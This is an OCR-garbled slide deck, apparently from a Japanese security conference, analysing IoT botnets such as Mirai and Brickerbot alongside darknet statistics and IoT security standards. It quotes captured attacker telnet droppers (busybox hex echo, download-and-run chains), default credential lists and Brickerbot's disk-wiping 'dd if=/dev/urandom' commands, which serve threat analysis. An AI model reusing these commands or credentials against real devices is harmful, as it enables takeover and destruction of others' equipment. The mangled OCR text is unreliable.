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Thingbots: The Future of Botnets in the *
Internet of Things

February 20, 2016 | By Paul Sabanal

loT Home Routers Botnet
Leveraged in Large DDoS Attack

R4 P  The Internet of Things (0T
,’\ h J \ » X\.« I "\.\: / ' upon us. Everything from
‘ ék \ L~  home appliances, watches
/ W .4 '
V w O 2 4 o (9 even children’s toys are be
K : W rnacted ontine ~Home Roiifer Rotnet | n\lpraged In

Cyber attacks in loT .
on the rise

boost in loT services

| 3 . : News roundup: As Internet of Things conce
RISK ASSESSM ENT SECURITY & HACKTIVISM cormoet e o, prus: 6ot ue
e risk; Target pays up; Apple devic

“Internet of Things” is the new Windows XP ! secured in the enterprise.
: — ST
—malware’s favorite target
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Telnet&id
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SIEETERLSICTBRMIRKR Y/ Z7b 2z 7(7095
!(Aﬁ)‘mgi)fcli%niilﬁ%t:'d‘é7nb:)bd)zt’éiﬁ'd'o
IRTETIE. SREEHITHIANTOEEZESI{IELET =F
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Pl3t), B<DOWMEIZT Telnet”H

BDOTOETY

ope 1.3.0.dm800se
B! 328 Broadband Router
e

20-VoIP-AG login: BC 328 xDSL Router

B 328 ADSL Router
Router User Access Verification

50052 Login:
00 login:

12— IP LDEEDHRAMD ST IR
Airf)v2 login: A EEL TelnetY—ERD /3 F—Dfl
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LAE&S<IE

T 72/ BDISRI—RT

[shogo@www9058up ~]$ telnet x.x.243.13
Trying x.x.243.13...

Connected to x.x.243.13.

Escape character is '*]'.

i.3.0.dm800s
| e.login:
Password 12345
)E—-MAJL /L)

BusyBox v1.1.2 (2007.05.09-01:194+0000) Built-
in shell (ash)

Enter 'help' for a list of built-in commands.
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“default” “password” “list”" GETRRT DL

’E Google L4 — XY__ S badgers2015 — Google XY__ M All Bids X:,' il Big bertha says: defa. x
&«
77U O RFER

default pasfl Protocol User

Browse by character: A B

C M [ wwwdefaultpassword.com

Displaying 1812 pass

Manufactor a m

3COM

3COM .

3COM

securit

3COM

3COM

3COM

read

3COM

3COM

3com N

3COM

Write

3COM

3COM ,

3COM

admin

3COM

3COM

3COM

manager

3COM

Jcom

3COM 1

3COM

MOoNItor

Jcom

Jcom

Jcom uja= aen N g anage

3com super stack II Console n/a (

3com superstack II 1100/3300 Console 3comcso H

3COM Superstack II Switch 2700 Telnet tech t

3COM Superstack II Switch 2200 Telnet debug g

3COM Wireless 11g Firewall Router 3CRWDR100-72 Multi nong 3

Scom Wireless &P ANY Multi admin g com

3M VOL-0215 ete. SNMP volition

a a a HTTP 9000 il

a pussy 1.0 Other I Love

aaa aa aaa Multi aaa 3

aaa aaa aaa Multi aaa 3

aaaawara pagal dewana Multi pappu o

Accelerated Metworks DSL CPE and DSLAM Telnet sysadm 3

acer acer acer Multi acer 3

actiontec gt701-gw Multi admin 3
¥ Actiontec GT701-WG HTTP admin o
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13

P 37.220.109.10.24147 > 0.0.0.0.23: Attacker command /bin/busybox echo -ne \\x@f\\xaf\\x00\\x00\\x0808\\xoc\
3\ \x20\\xf8\\x09\\x00\\x00\\x00\\x00\\x8f\\xbc\\x00\\x10\\xac\\x50\\x00\\x00\\x24\\x10\\xff\\xff\\x02\\x00
00\ \x08\\x27\\xbd\\x00\\x20\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x3c\\x1¢c\\x00\\x05\\x27\\x9¢c\\x9¢c\\xa
xaf\\xb@\\x00\\x18\\xaf\\xbc\\x00\\x10 >> /var/tmp/mvXUDI && /bin/busybox WOPBOT

P 37.220.109.10.24147 > 0.0.0.0.23: Response command
Axaf\\x00\\x00\\x00\\x0c\\x8f\\x99\\x80\\x94\\x10\\xe0\\x00\\x06\\x00\\x40\\x80\\x21\\x03\\x20\\xf8\\x09\\

t\\x1 o\\xf‘t\ LtufsvvcaniLcan\ L can\LunsvLcamvvwkMvvwunn\ L vt v L weasw v wknal v wanl L crov L wast L canal L wanv L wan u‘,7\\xbd\

0\ \x05\\x (@0\\x18
* [
‘v“l;:igll:: ‘l::l’:::l)
P 37.220. O\ \x00\
0\\x21\\x z S j FRNXFF
27\\xbd\\ x27\\x9
x00\\x24\

P 37.220 - N

\x02\\x0f D¢ \ \\x20\\
\\x00\\x2 h ' 0\ \x20\
c\\x1e\\x @ taf\\xb@

P 37.220.109.10.24147 > 0.0.0.0.23: Attacker command /bin/busybox echo -ne \\x00\\x10\\x30\\xa2\\x@1\\x00\
F\\xa6\\x00\\x30\\x27\\xa2\\x00\\x34\\xaf\\xa2\\x00\\x18\\x00\\xc0\\x18\\x21\\x00\\x60\\x30\\x21\\x24\\x02
00\ \x06\\x00\\x40\\x80\\x21\\x03\\x20\\xf8\\x09\\x00\\x00\\x00\\x00\\x8f\\xbc\\x00\\x10\\xac\\x50\\x00\\x0
x8f\\xb@\\x00\\x20\\x03\\xed\\x00\\x08 >> /var/tmp/mvXUDI && /bin/busybox WOPBOT

P 37.220.109.10.24147 > 0.0.0.0.23: Response command
Ax10\\x30\\xa2\\x01\\x00\\x00\\x00\\x18\\x21\\xaf\\xa7\\x00\\x34\\x10\\x40\\x00\\x04\\xaf\\xab\\x00\\x30\\

N\x60\\x30\\x21\\x24\\x02\\x0f\\xa5\\x00\\x00\\x00\\x0c\\x8f\\x99\\x80\\x94\\x10\\xe0\\x00\\x06\\x00\\x40\
OA\\ ¥ 10\ \varc\\YSO\\vBOA\\ YR\ \ ¥ 24\ \ Y10\ \ Y FFA\\ Y FA\\ YO\ \YOOA\\YT1O\\ Y21\ \YRF\\vhFf\\ Y00\ \ v 24\ \vRf\\vho\\voo\\v?202
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v TV = 7 REDOKBHIER
v REIRFEDOHEIK

oDDoSKIR DBk 1:ES) Han

v EETIP7 FLRXEZE N 1=SYN Flood
VvV HEIREH—/I\HS5DIEE (SYN-ACK)
v DDoSHEN B HZEE (1/845y FEHM D)

| e
® U 71/ 793>u‘®*ﬁiﬁ ﬂ Darknet
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nicter-Atlas(#—72YMRU AT L)IC
EBDAF T OMRIBIE

=IT [, “Port 23 (telenet) ND AT " HNIEZ TLVS!!

A=y SHIN
7y % SRR THITE
“A[tRIEIZBITH /N7y
ML, TAaraLEA(T
r3RIF,

ITCP SYN
| TCP SYN/ACK
TCP Other

________________________________________
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http://www.nicter.jp/nw_public/scripts/index.php#nicter
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=2y NDTelnet RN L I

AV |
TCP FE5E7R— hBI/WS Y & Top 10 ~ TCP 3@ —h3lls “i’r:wb?!z Top 10
FER—bN Wy b ) e —k bR &

23 2,699,639 N 45% W 23 11,727,894 1IN 65%

461,738 8% 1433 791,485 | 4%

@UENB: = we -
g a.‘ua s * 3389 247,547 | 19
‘ ] 0
I \ J I~0) 3%
N 80 247159 | 1%

N\ 1
#4~58Hh -
_n . _ 8080 184,132 1%
8080 . B57 | 2% |
ein Et 3H LD\ , 443 147,434 | 1%

9200 116,255 | 2% 3306 128,382 | 1%
25 94.901 I 2% . 4028 116,029 | 1%
\¢J (o) <\ O
P P P ° 54628 78.378 0%
oW W ~,\ »\ '
N\ N\ N\ N\ N\ N
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N=—FRYPTOBRAER
#:aBAR:2015/4/1~2015/7/31(122H)
ElR148 IP7RLAZEAIIC{ER

250,000

200,000 -
150,000 -
100,000 -
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7IER =V 2e zl’;z;fb
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2016 F 35S ICERA M
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350000
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250000
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EBDBRIKR
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195 ANAY
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TelnetN—AD2? I BEDEN

NP O~ " mmy—x
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|
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TelnetN—AD2? I BEDEN
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ARSI RASN/-HRBERIE6/ 52—

EIEFERENN2—1 [AFEERRE/NZ—2

root/r
root/a
root/1
root/1

root/1
root/1
root/p
root/d

guest/
admi
root/r
root/a
root/

root/1
root/1
root/1
root/p
root/d
root/v

Iy ZEE RIS — 21

EE IR &/ N 52— 3

admin/
admin/
admin/
admin/
admin/
admin/
admin/
root/12

IRFrZEE R EE/N2—23

root/
root/

root/ in
root/
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KR IcFIAZNBid/passwordéE Dt n

id/password$i d1&n
- WEXREEIZDIEM

2000
SREHEAE

0 E_J:i_lﬁ AL . m - J\_»L_I
2016/6

2015/11 2016/3
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TelnetN—AD2? I 7 BEDEN
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27
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2. Telnetlck? s

IRIBFIVY-
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5. lRA LI E

1. TelnetTHigE
KEICLBRERA
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RIVITFNDINAT)—DLOA

at mips busybox; rm mips; cp busybox systemr; rm busybox; ./systemr & sleep
cat mipsel busybox; rm mipsel; cp busybox systemr; rm busybox; ./systemr & sleep

t arm busybox; rm arm; cp busybox systemr; rm busybox; ./systemr && sleep

t ppc - busybox; rm ppc; cp busybox systemr; rm busybox; ./systemr 8% sleep
cat superh - busybox; rm superh; cp busybox systemr; rm busybox; ./systemr & sleep
cat mipsi16 - busybox; rm mipsi6; cp busybox systemr; rm busybox; ./systemr &} sleep
at 1586 - busybox; rm 1586; cp busybox systemr; rm busybox; ./systemr && sliep
o Binaries of MIPS, MIPSEL, ARM, PPC, teep
e SUPERH, MIPS16 are all downloaded and
executed




loTIRZEZ D27 ORM

 Linux.Moose
e telnettf — E X 2 - TIL— X [T
« R4 TN BEZ B T D
e Proxy, SNS&ZIE, 7ZwEay
e 20155 IZESETHEEMNT L 7R — b & R

 Linux.Wifatch
e telneth —E X = > TIL— X [T
e telnett —EXZ=Z1E L THDO T ILT = 7B
Zal=ll5R
¢ 2015F10B IC>~ > T v I A LR—F
e GithublZY — X I— KARNEHINS
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 Mirai
e telnettr — E X % {5 5 T500,0000 _E DloTikézs (2 Rt
o BFEUS
e 23/TCP, 2323/TCP X F ¥
« FEEWE
« XX v UERIPT FL X ETCPY — 4 > RESH[F

e X250, windowt 4 X, FER—FIT7 X L
(%45)
« 201679 A |[Z Anna-senpai & % % A ¥) H Hackforums
2V —RX3—FzRrFE (£ DEGitHubIZ H A F)

SECURE TOKYO 2017/ (ISO)"Secure Events



] Anna-senpai & [T
e 72X I [FRREXEWVWHOSEEHAEFEELEZWLVEER
H R |
« 2015F7H K Y9R £ THuX
« ATX (7= XEMF v > 2xIL)
o B R MX

[FREE] World's Largest Net:Mirai Botnet, Client, Echo Loader, CNC source code release

Yesterday, 12:50 PM (This post was last modified: Yesterday 04:29 PM by Anna-senpai.)

Anna-senpai &
L33t Member
080886

Preface
Greetz everybody,

When 1 first go in DDoS industry, I wasn't planning on staying in it long. I made my money, there's lots of eyes looking at IOT now, so i
However, I know every skid and their mama, it's their wet dream to have something besides qbot.

So today, I have an amazing release for you. With Mirai, I usually pull max 380k bots from telnet alone. However, after the Kreb DDoS,
shutting down and cleaning up their act. Today, max pull is about 300k bots, and dropping.




Google  shnsksk o # 0 @

IRT BHE 2 ER -1 #5 b-oERB3 - RBRRY-IL E—7Y—F - o

600%337 - twitter.com

The Attacker may be very OTAKU (Comic fanatic).
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Miraiff$(#)

DDoSHI

* Krebs on Security
(16/9/20)
-Akamait) — E X

* DYNAEDNSH — /X

(16/10/21)
-Netflix
-Twitter
-Amazon

SECURETOKYO 2017/

7YX
T A7
JL—&
-DVR

- WP —FT7Fv

-ARM
-ARM7
-MIPS
-PowerPC
-SH4
-SPARC
-X86
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MiraidREL 139

cFHEAHE (X—7F2 Yy FDODXF¥H )

+ NEEKIPFRLR = —5 0 AB/S 1L :5FRAMDOHH
-10g3/TCP0>SYN%$@§%

3/ 1H o ZIMHIR

(#0181 : 2016-08-01 10:27:40)

40
30
20
10

0
7/20/16 7/25/16 7/30/16 8/4/16 8/9/16
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MiraiDEB(F—72IM&E) e

45 200
N IN
o x
160
35
. 1405 21=—7FKRX} 140
120
25
100
20
\ 80
15 \
M\ 7 CW) .
0 | ] v /A/
40
5 N 20
0 0
8/1/16 8/11/16 8/21/16 8/31/16 9/10/16 9/20/16 9/30/16

SECURE TOKYO 2017

(ISO)"Secure Events



REROZRTEMF

MiraiZ4 R Dlo | RG]
Miraid Bt E (2016/07/31)

(2016/08/01)
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TelnetN—AD2? I BEDEN

4 7)!»7:7’5*‘7%:—? 4 wll Y —/3 )
-

2Iox7
AR )

o

3. 7)!1?7:17’
W AEogo ok | 5
2. Telnetlc&k? |
RIRFIVY-
HARRLAX

»
»

1. TelnetTHiEE
KEICLBEA

SECURE TOKYO 2017/ (ISO)"Secure Events



Y —EAGWEEAOME

(DNS Water Torture Attack)

U ‘J _ZH 55 :‘

9a3jk.cc.zmr666.com?
elirjk.cc.zmr666.com?

oiudan.cc.zmr666.com?

ISPOFpyyq @ Cikcmiiocon? g
DNS-U-—/ \ ¢ ébullan cC zmr666.coni:’ i
9a3jk.cc.zmr666.cem? — ‘? .,
elirjk.cc.zmr666. c?#»?\7 Zmrooo.com
pujare.cc.zmr66§><n< E@DNSﬂ-—/ \

II_J
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2015-91-13 21:24:53.665213 IP
2015-01-13 21:24:53.665254 IP
2015-91-13 21:24:53.665296 IP
2015-91-13 21:24:53.665337 IP
2015-01-13 21:24:53.665378 IP
2015-91-13 21:24:53.665418 IP
2015-01-13 21:24:53.665494 IP
2015-01-13 21:24:53.665536 IP
2015-91-13 21:24:53.665578 IP
2015-01-13 21:24:53.665618 IP
2015-01-13 21:24:53.665661 IP
2015-91-13 21:24:53.665702 IP
2015-01-13 21:24:53.665743 IP
2015-01-13 21:24:53.665785 IP
2015-91-13 21:24:53.665826 IP
2015-01-13 21:24:53.665867 IP
2015-91-13 21:24:53.665818 IP
2015-91-13 21:24:53.665858 IP
2015-01-13 21:24:53.665898 IP
2015-91-13 21:24:53.6660838 IP
2015-01-13 21:24:53.666078 IP
2015-01-13 21:24:53.666128 IP
2015-91-13 21:24:53.666171 IP
2015-01-13 21:24:53.666220 IP
2015-01-13 21:24:53.666261 IP
2015-91-13 21:24:53.666301 IP
2015-01-13 21:24:53.666341 IP
2315 91-13 21:24:53.666381 IP

.37737
37737
37737
.37737
37737
37737
37737
37737
37737
37737
37737
.37737
37737
.377137
.37737
37737
37737
.37737
37737
37737
37737
37737
37737
37737
.377137
.37737
37737

53: 16025+ |
23: 36951+ .
53: 16162+ 4
53: 26459+
23: 17164+ 4
53: 34279+
53: 21888+ .,
53: B3B/6+
i
i
i
i
[|
i
i
i
i
i

vPiXEbR7.a us.com. (35)
h3KG4ELZ.a us.com. (35)
BIW@1Qej.a us.com. (35)
Kdzbb6J0.a us.com. (35)
MfEb72uF.a us.com. (35)
kEpsfbJO.a us.com. (35)
sobRAn1TH.a us.com. (35)
@hohdpTg.a us.com. (35)
@cQUk7Qv.a us.com. (35)
KRZLvLrQ.a us.com. (35)
QaP9WsA2.a us.com. (35)
tKIB8ZIz.a us.com. (35)
wLEa@TPh.a us.com. (35)
FnyvBaC2.a us.com. (35)
4f20520W.a us.com. (35)
lakaF1X1.a us.com. (35)
53: 23219+ JUBm2r3R.a us.com. (35)
53: 40053+ TJijOYEr.a us.com. (35)
53: 7377+ A' y6CRVMOD.as s.com. (35)
53: 45048+ , 7 WeuBfEev.a us.com. (35)
53: 45243+ , 7 qlJs5NR4.a us.com. (35)
53: 39539+ , 7 1ZRf@sdl.a us.com. (35)
53: 48818+ , 7 ffeDQI6r.a us.com. (35)

[|

i

i

53: 58236+
23: 64173+
53: 26479+
53: 58165+
23: 63390+
53: 16064+
53: 63732+
53: 30663+

i) bn) snd en) snd snd en) End End end ex) Eund en) en) end Ea) sl ey

53: 12766+ E@6FALIv.a us.com. (35)
53: 62262+ dtm23cmU.a us.com. (35)
53: 18909+ YUD1lgoSW.a us.com. (35)
53: 7608+ A" UvnB5SNES5.as s.com. (35)
53: 5??1+ Al rwdmAc®l.as s.com. (35)

i i i
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. ATLAS event traffic
Size of attacks Arbor networks observed
The matching result is provided by Arbor Networks ASERT Japan
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loTIRESZTRM I DN IxT

“Brickerbot” EREIEND Iz 7I32017FE1AICHAZh
7o TN 7IE. APL=LED7 74NV EE B E(E
NWEZFBRATWWSEHED, —HEZRASNhDE, LW <DHD
loTHESR IS TTICER S &y,

dd if=/dev/urandom of=/dev/hdbl &
dd if=/dev/urandom of=/dev/root &
dd if=/dev/urandom of=/dev/ramd &

dd if=/dev/urandom of=/dev/mmcblk® &
dd if=/dev/urandom of=/dev/mmcblk@pl &

cat /dev/urandom >/dev/sda &
cat /dev/urandom >/dev/sdal &
cat /dev/urandom >/dev/sdal &
cat /dev/urandom >/dev/sda3 &
cat /dev/urandom >/dev/sda4 &
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.3.0.dm800se

B ADSL Router

83 Broadband Router
B xDSL Router

CLT User Access Verification
1 et4x00

vZ2 login:

on login:

OIP-AG login:
login:

ON login:

login:

.login:

login:

login:
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TL3Y1hCensys (37 K%¥)

= censys About Search Reports API Raw Data

IPv4 Hosts Top Million Websites Certificates Tools~ Help

Page: 1/457,918 Results: 11,447,927 Time: 50¢
195.36.2.28 (static-028.mi.telnet.demosdata.it)
& TELNET-ITALY - TELNET S.rl, IT(5392) @ Italy
£+ 23/telnet
Q autonomous_system.name: TELNET -1 TALY
Q autonomous_system.organization: TELNET S.r. |., IT

120.50.16.120 (NEW-ASSIGNED-FROM-APNIC-20-03-2008.telnet.net.bd)
& TELNET-AS-BD-AP - Telnet Communication Limited (38712) @ Bangladesh
£ 23/telnet

™ L bk e . TELMET AD DN AR
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« BMBDBHOT=DVR, V=%, IPHAASD3DONWMERICKEL,
TATHICOVWTY—ER - IRFWEERBL TEHRER - 2.
—Telnet\OKBERRELBTIEHRICIRARTHDIEDD

TEROER -AEF77EAERE

- DVRISE77r VAR RT DIRFT
EHA—NDODVRICEREIZR T DZELDVROEFZEZ 71V
THBAOVR.clah12—2yb EHSASRIREL AR5 1% [7]

c BEA—-HIRON—2FHEITIRHHE
FEDORYNT—VEIIA—ARIV—2DINIIRTTHD
53413 /UDPICEENI—RHRITRIELREE5TE [8]

o 128—2YPLHSHRATRELIPHAS —
18—V EHSHRTRELIPHASONEE |-
g =WebYrhinsecam[9] HEFLE =

nnnnnnnnnnn

RAID7, Multiple DVR Manufacturers Configuration Disclosure. [Last visited: 2016/01/28]
https://www.rapid7.com/db/modules/auxiliary/scanner/misc/dvr_config_disclosure
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[9] Insecam.com, Network live IP video cameras directory. [Last visited: 2016/01/28].http://www.insecam.org/
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General IoT standards as
basis for security
standard. SC27/SG17
should refer these
documents.

JTC1/sC41
ITU-T SG20

Code of Practice

including design polices SC27/WG4
for IoT devices / SG17 Q6
systems

Security Guideline for SC27/WG4
Common specific areas SG17 Q6

(GW, NW, App, etc...)

Sector-specific automotive railroad agricultur healthcar electric
Standers € € power
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ISO/IEC 270xx: Guidelines for
security and privacy in loT

Scope

Normative references
(Vocabularies and Reference Architecture in SC41)

Terminology

Abbreviations

Overview (reference model should be considered)
Security Principles

Security Controls/Measures

7.1 Security Controls for service developer

7.2 Security Controls for integrator(service provider)

7.3 Security Measures for end user and cooperate user (digital user)
8 Bibliography

Annex: Security Considerations for Gaps

L
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Security Principles®f#l

Five Guiding Principles of IoT Security Measures

2.1 [Policy] Principle 1 Establishing a basic policy with consideration of the nature of the IoT
Key Concept 1 : Executives are committed to 10T security

Key Concept 2: Prepare for internal fraud or mistakes

2.2 [Analysis] Principle 2: Recognize risks on loT

Key Concept 3: Identify what to protect.

Key Concept 4: Assume what risks will result from connections.

Key Concept 5: Assume what risks will spread from connections.

Key Concept 6: Recognize physical risks.

Key Concept 7: Learn from past cases.

2.3 [Design] Principle 3: Considering a design to protect what should be protected

Key Concept 8: Make a design that protects each individual and all.

Key Concept 9: Make a design that will not cause trouble to connecting destinations.

Key Concept 10: Establish design consistency to ensure safety and security.

Key Concept 11: Designing to ensure Safety/Security even when connected to unspecified entities

Key Concept 12: Verify and evaluate a design to ensure safety and security.

2.4 [Implementation and Connection] Principle 4: Consider security measures on the network side
Key Concept 13: Provide a function to grasp and record the condition of devices

Key Concept 14: Proper establish network connections according to the function and use

Key Concept 15: Pay attention to the default settings

Key Concept 16: Prepare/Provide an authentication function

2.5 [Operation and Maintenance] Principle 5 Maintaining a safe and secure state and disclose and
share information

Key Concept 17: Maintain product safety and security after product shipment and release

Key Concept 18: Grasp I0oT risks after shipment or release and keep relevant stakeholders informed of what should be
observed

Key Concept 19: Notify general users of connection risks

Key Concept 20: Recognize the roles of the stakeholders of 10T systems and services

Key Concept 21: Grasp all vulnerable devices and give appropriate cautions
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Principle 1

Establish a policy for security of IoT. ISO/IEC
Principle 2 JTC1/5C27/
Identify risks on IoT security. WG4 ™

2 -
Principle 3 ¢E'"'. @
Apply secure design basics in [oT. Princi ples
Principle 4

Apply network controls.

Principle 5
Maintain security of IoT. Inform relevant parties of updates

on risks and controls (for sharing them).
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Tokyo2020Tld, SHELIoTREE. AT
LOFERDPHFENTIVD

(Smart+Connected City)

Smart+Connected City Smart+Connected City Smart+Connected City

Parking Traffic Safety & Security

Smart+Connected City

Lighting

Give citizens live Monitor and Automatically Provide view of Manage street
parking manage traffic detect security people flow data lighting to reduce
availability incidents to incidents, shorten to aid planningand  energy and
information to reduce congestion  response time, leverage location maintenance costs
reduce circling and improve and analyze data data for contextual
and congestion livability to reduce crime content and

advertising
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